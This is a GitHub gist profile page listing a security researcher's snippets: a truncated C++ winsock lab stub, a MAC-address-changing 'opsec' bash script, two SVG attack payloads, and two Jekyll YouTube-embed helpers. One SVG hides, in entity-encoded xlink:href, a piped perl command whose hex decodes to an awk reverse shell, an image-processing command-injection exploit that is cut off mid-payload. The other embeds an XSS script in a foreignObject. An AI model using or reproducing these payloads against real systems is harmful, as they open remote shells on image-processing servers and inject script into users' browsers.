Skip to content

Instantly share code, notes, and snippets.

View tcbutler320's full-sized avatar
:octocat:
Working on @OpenXSS

Tyler Butler tcbutler320

:octocat:
Working on @OpenXSS
View GitHub Profile
// c++ lab 2
#include <dirent.h>
#include <iostream>
#include <stdio.h>
#include <winsock2.h>
#include <sys/types.h>
#include <sstream>
#include <Windows.h>
using namespace std;
@tcbutler320
tcbutler320 / opsec.sh
Created November 12, 2020 18:05
A quick bash script to run in linux as an operational security measure for infosec research
#!/bin/bash
# Change mac
sudo ifconfig eth0 down
sudo ifconfig
sudo macchanger -r eth0
sudo ifconfig eth0 up
sudo ifconfig
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1px" height="1px" viewBox="0 0 1 1" enable-background="new 0 0 1 1" xml:space="preserve"> <image id="image0" width="1" height="1" x="0" y="0"
xlink:href="&#x7c;&#x70;&#x65;&#x72;&#x6c;&#x20;&#x2d;&#x65;&#x20;&#x73;&#x79;&#x73;&#x74;&#x65;&#x6d;&#x20;&#x2d;&#x65;&#x20;&#x70;&#x61;&#x63;&#x6b;&#x20;&#x2d;&#x65;&#x20;&#x71;&#x71;&#x2c;&#x48;&#x32;&#x39;&#x38;&#x2c;&#x2c;&#x71;&#x71;&#x2c;&#x36;&#x31;&#x37;&#x37;&#x36;&#x62;&#x32;&#x30;&#x32;&#x37;&#x34;&#x32;&#x34;&#x35;&#x34;&#x37;&#x34;&#x39;&#x34;&#x65;&#x37;&#x62;&#x37;&#x33;&#x33;&#x64;&#x32;&#x32;&#x32;&#x66;&#x36;&#x39;&#x36;&#x65;&#x36;&#x35;&#x37;&#x34;&#x32;&#x66;&#x37;&#x34;&#x36;&#x33;&#x37;&#x30;&#x32;&#x66;&#x33;&#x30;&#x32;&#x66;&#x33;&#x31;&#x33;&#x34;&#x33;&#
```html
START [pout.png" />
<foreignObject x="10" y="10" width="800" height="800">
<body xmlns="http://www.w3.org/1999/xhtml">
<h1 id = "testy"></h1>
<script>alert('XSS')</script>
</body>
</foreignObject>
<image x="0" y="-60" height="100" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="] END
````
@tcbutler320
tcbutler320 / youtube-in-jekyll
Created October 5, 2019 23:57
Embed a youtube video in Jekyll Markdown file
### Include this in markdown, where id is the youtube id
<!-- % include youtubePlayer.html id="CU9Iafc-Igs" %} -->
### Include this in the __includes directory, named youtubePlayer.html
<iframe width="560" height="315" src="https://www.youtube.com/embed/{{ include.id }}" frameborder="0" allowfullscreen></iframe>
@tcbutler320
tcbutler320 / gist:59044c28951c711a7a59dd1b96a79a8d
Created October 5, 2019 23:57
Embed a youtube video in Jekyll Markdown
### Include this in markdown, where id is the youtube id
<!-- % include youtubePlayer.html id="CU9Iafc-Igs" %} -->
### Include this in the __includes directory, named youtubePlayer.html
<iframe width="560" height="315" src="https://www.youtube.com/embed/{{ include.id }}" frameborder="0" allowfullscreen></iframe>